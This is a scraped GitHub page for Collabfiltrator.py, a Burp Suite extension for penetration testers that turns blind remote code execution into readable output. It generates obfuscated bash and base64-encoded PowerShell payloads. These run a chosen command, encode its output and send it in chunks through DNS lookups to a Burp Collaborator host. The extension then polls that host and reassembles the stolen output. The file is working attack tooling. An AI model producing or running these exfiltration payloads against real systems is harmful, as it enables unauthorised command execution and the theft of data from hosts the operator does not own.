forked from 0xC01DF00D/Collabfiltrator
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Collabfiltrator.py
246 lines (211 loc) · 11.5 KB
/
Collabfiltrator.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
#Import Burp Objects
from burp import IBurpExtender, IBurpExtenderCallbacks, ITab, IBurpCollaboratorInteraction
#Import Java GUI Objects
from java.awt import Dimension, FlowLayout, Color, Toolkit
from java.awt.datatransfer import Clipboard, StringSelection
from javax import swing
from thread import start_new_thread
import sys, time, threading, base64
try:
from exceptions_fix import FixBurpExceptions
except ImportError:
pass
class BurpExtender (IBurpExtender, ITab, IBurpCollaboratorInteraction, IBurpExtenderCallbacks):
# Extention information
EXT_NAME = "Collabfiltrator"
EXT_DESC = "Exfiltrate blind remote code execution output over DNS via Burp Collaborator."
EXT_AUTHOR = "Adam Logue, Frank Scarpella, Jared McLaren"
# Output info to the Extensions console and register Burp API functions
def registerExtenderCallbacks(self, callbacks):
print "Name: \t\t" + BurpExtender.EXT_NAME
print "Description: \t" + BurpExtender.EXT_DESC
print "Authors: \t" + BurpExtender.EXT_AUTHOR
# Required for easier debugging:
# https://github.com/securityMB/burp-exceptions
sys.stdout = callbacks.getStdout()
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName(BurpExtender.EXT_NAME)
#Create Burp Collaborator Instance
self.burpCollab = self._callbacks.createBurpCollaboratorClientContext()
self.collaboratorDomain = self.burpCollab.generatePayload(True)
#Create panels used for layout; we must stack and layer to get the desired GUI
self.tab = swing.Box(swing.BoxLayout.Y_AXIS)
self.tabbedPane = swing.JTabbedPane()
self.tab.add(self.tabbedPane)
# First tab
self.collabfiltratorTab = swing.Box(swing.BoxLayout.Y_AXIS)
self.tabbedPane.addTab("Collabfiltrator", self.collabfiltratorTab)
# Second tab
#self.configurationTab = swing.Box(swing.BoxLayout.Y_AXIS)
#self.tabbedPane.addTab("Configuration", self.configurationTab)
# Create objects for the first tab's GUI
# These rows will add top to bottom on the Y Axis
self.t1r1 = swing.JPanel(FlowLayout())
self.t1r2 = swing.JPanel(FlowLayout())
self.t1r3 = swing.JPanel(FlowLayout())
self.t1r4 = swing.JPanel(FlowLayout())
self.t1r5 = swing.JPanel(FlowLayout())
self.t1r6 = swing.JPanel(FlowLayout())
self.t1r7 = swing.JPanel(FlowLayout())
# Now add content to the first tab's GUI objects
self.osComboBox = swing.JComboBox(["Windows", "Linux"])
#self.commandTxt = swing.JTextField("ls -lah", 35)
self.commandTxt = swing.JTextField("dir C:\inetpub\wwwroot", 35)
self.payloadTxt = swing.JTextArea(10,50)
self.payloadTxt.setBackground(Color.lightGray)
self.payloadTxt.setEditable(False)# So you can't messup the generated payload
self.payloadTxt.setLineWrap(True) #Wordwrap the output of payload box
self.outputTxt = swing.JTextArea(10,50)
self.outputScroll = swing.JScrollPane(self.outputTxt) # Make the output scrollable
self.progressBar = swing.JProgressBar(5,15)
self.progressBar.setVisible(False) # Progressbar is hiding
self.outputTxt.setBackground(Color.lightGray)
self.outputTxt.setEditable(False)
self.outputTxt.setLineWrap(True)
self.burpCollaboratorDomainTxt = swing.JTextPane() # burp collaboratorTextPane
self.burpCollaboratorDomainTxt.setText(" ") #burp collaborator domain goes here
self.burpCollaboratorDomainTxt.setEditable(False)
self.burpCollaboratorDomainTxt.setBackground(None)
self.burpCollaboratorDomainTxt.setBorder(None)
self.t1r1.add(swing.JLabel("<html><center><h2>Collabfiltrator</h2>Exfiltrate blind remote code execution output over DNS via Burp Collaborator.</center></html>"))
self.t1r2.add(swing.JLabel("Platform"))
self.t1r2.add(self.osComboBox)
self.t1r2.add(swing.JLabel("Command"))
self.t1r2.add(self.commandTxt)
self.t1r2.add(swing.JButton("Execute", actionPerformed=self.executePayload))
self.t1r3.add(swing.JLabel("Payload"))
self.t1r3.add(self.payloadTxt)
self.t1r6.add(self.burpCollaboratorDomainTxt) #burp Collab Domain will go here
self.t1r4.add(swing.JButton("Copy Payload to Clipboard", actionPerformed=self.copyToClipboard))
self.t1r4.add(swing.JButton("Clear", actionPerformed=self.clearText))
self.t1r5.add(swing.JLabel("Output"))
self.t1r5.add(self.outputScroll) #add output scroll bar to page
self.t1r7.add(self.progressBar)
# Add the GUI objects into the first tab
self.collabfiltratorTab.add(self.t1r1)
self.collabfiltratorTab.add(self.t1r2)
self.collabfiltratorTab.add(self.t1r3)
self.collabfiltratorTab.add(self.t1r6)
self.collabfiltratorTab.add(self.t1r4)
self.collabfiltratorTab.add(self.t1r7)
self.collabfiltratorTab.add(self.t1r5)
# Create objects for the second tab's GUI
self.dummylabel = swing.JLabel("Burp Collaborator Config options will go here.")
# Add the GUI objects into the second tab
########self.configurationTab.add(self.dummylabel)
# Now that the GUI objects are added, we can resize them to fit snug in the UI
self.t1r1.setMaximumSize(Dimension(800, 100))
self.t1r2.setMaximumSize(Dimension(800, 50))
self.t1r3.setMaximumSize(Dimension(800, 200))
self.t1r4.setMaximumSize(Dimension(800, 200))
self.t1r6.setMaximumSize(Dimension(800, 50))
self.t1r7.setMaximumSize(Dimension(800, 50))
#Register the panel in the Burp GUI
callbacks.addSuiteTab(self)
return
# Standard function: Set the tab name
def getTabCaption(self):
return BurpExtender.EXT_NAME
# Standard function: Set the GUI component in the tab
def getUiComponent(self):
return self.tab
def createBashBase64Payload(self, linuxCommand):
bashCommand = linuxCommand + ''' 2>&1|base64 -w60|tr '+' '-'|while read j;do host `printf '%04d' $i`.${j//=/E-F}.''' + self.collaboratorDomain + '''&((i++));done'''
return "base64 -d<<<" + self._helpers.base64Encode(bashCommand) + "|sh"
# Create windows powershell base64 payload
def createPowershellBase64Payload(self, windowsCommand):
powershellCommand = '''$s=63;$d=".''' + self.collaboratorDomain + '''";$b=[Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes((''' + windowsCommand + ''')));$c=[math]::floor($b.length/$s);0..$c|%{$e=$_*$s;$r=$(try{$b.substring($e,$s)}catch{$b.substring($e)}).replace("=","E-F").replace("+","-");$c=$_.ToString().PadLeft(4,"0");nslookup $c"."$r$d;}'''
return "powershell -enc " + self._helpers.base64Encode(powershellCommand.encode("UTF-16-LE"))
# return generated payload to payload text area
def executePayload(self, event):
self.collaboratorDomain = self.burpCollab.generatePayload(True)#rerun to regenrate new collab domain
burpCollabInstance = self.burpCollab
domain = self.collaboratorDomain # show domain in UI
self.burpCollaboratorDomainTxt.setText(domain)
if self.osComboBox.getSelectedItem() == "Windows":
self.payloadTxt.setText(self.createPowershellBase64Payload(self.commandTxt.getText()))
elif self.osComboBox.getSelectedItem() == "Linux":
self.payloadTxt.setText(self.createBashBase64Payload(self.commandTxt.getText()))
self.checkCollabDomainStatusWrapper(domain, burpCollabInstance )
return
def checkCollabDomainStatusWrapper(self, domain, burpCollab):
t = threading.Thread(target=self.checkCollabDomainStatus, args=(domain, burpCollab)) #comma has to be here even with only 1 arg because it expects a tuple
t.start()
return # thread doesn't stop locking in execute button
#copy generated payload to clipboard
def copyToClipboard(self, event):
clipboard = Toolkit.getDefaultToolkit().getSystemClipboard()
data = StringSelection(self.payloadTxt.getText())
clipboard.setContents(data, None)
return
# clear payload & output
def clearText(self, event):
self.outputTxt.setText('')
self.payloadTxt.setText('')
#monitor collab domain for output response
def checkCollabDomainStatus(self, domain, objCollab):
DNSrecordDict = dict()#since data comes in out of order we have to line up each request with it's timestamp
#recordType = "A" #01
complete = False
#recordType = "AAAA" #1C or int(28)
#recordType = "MX" #00 ?
sameCounter = 0 #if this gets to 5, it means our data chunks coming in have been the same for 5 iterations and no new chunks are coming in so we can end the while loop.
# Break the never ending loop
loopCount = 0
maxLoops = 60
while (complete is False) and (loopCount <= maxLoops): #Only way I could figure out how to break out of this damn thing.
self.progressBar.setVisible(True) #show progress bar
self.progressBar.setIndeterminate(True) #make progress bar show listener is running
check = objCollab.fetchCollaboratorInteractionsFor(domain)
time.sleep(1)
loopCount += 1
oldkeys = DNSrecordDict.keys()
for i in range(0, len(check)):
dnsQuery = self._helpers.base64Decode(check[i].getProperty('raw_query'))
preambleOffset = int(dnsQuery[12])
dnsOffset = int(dnsQuery[17])
try: # chr fails when its arg is not in range, negative numbers
subdomain = ''.join(chr (x) for x in dnsQuery[18:(18+dnsOffset)]) # data part
chunk = ''.join(chr (x) for x in dnsQuery[13:(13+preambleOffset)]) # sequence part
except:
continue
DNSrecordDict[chunk] = subdomain #line up preamble with subdomain containing data
### Check if input stream is done.
keys = DNSrecordDict.keys()
if keys == oldkeys and keys != []:
sameCounter += 1
elif keys != oldkeys and keys != []:
sameCounter = 0
if sameCounter == 5:
complete = True
if loopCount == 61:
self.outputTxt.setText("Error: Listener Timeout." + "\n")
self.progressBar.setVisible(False) # hide progressbar
self.progressBar.setIndeterminate(False) #turn off progressbar
output = showOutput(DNSrecordDict)
self.outputTxt.append(output + "\n") #print output to payload box
print('='*80 + '\n' + 'Command: ' + str(self.commandTxt.getText()) + '\n' + output + '\n' + '='*80)
self.outputTxt.setCaretPosition(self.outputTxt.getDocument().getLength()) # make sure scrollbar is pointing to bottom
#self.payloadTxt.setText("") #clear out payload box because listener has stopped
return
def showOutput(outputDict):
completedInputString = ""
for k,v in sorted(outputDict.items()):
try:
int(k) # skip if failed
completedInputString += v
except: continue
output = completedInputString.replace('E-F','=').replace('-','+') # replace E-F with = and - with +
try:
output = base64.b64decode(output)
except:
return('Invalid base64 data: '+output)
return output
#Burp Error Debugging
'''
try:
FixBurpExceptions()
except:
pass
'''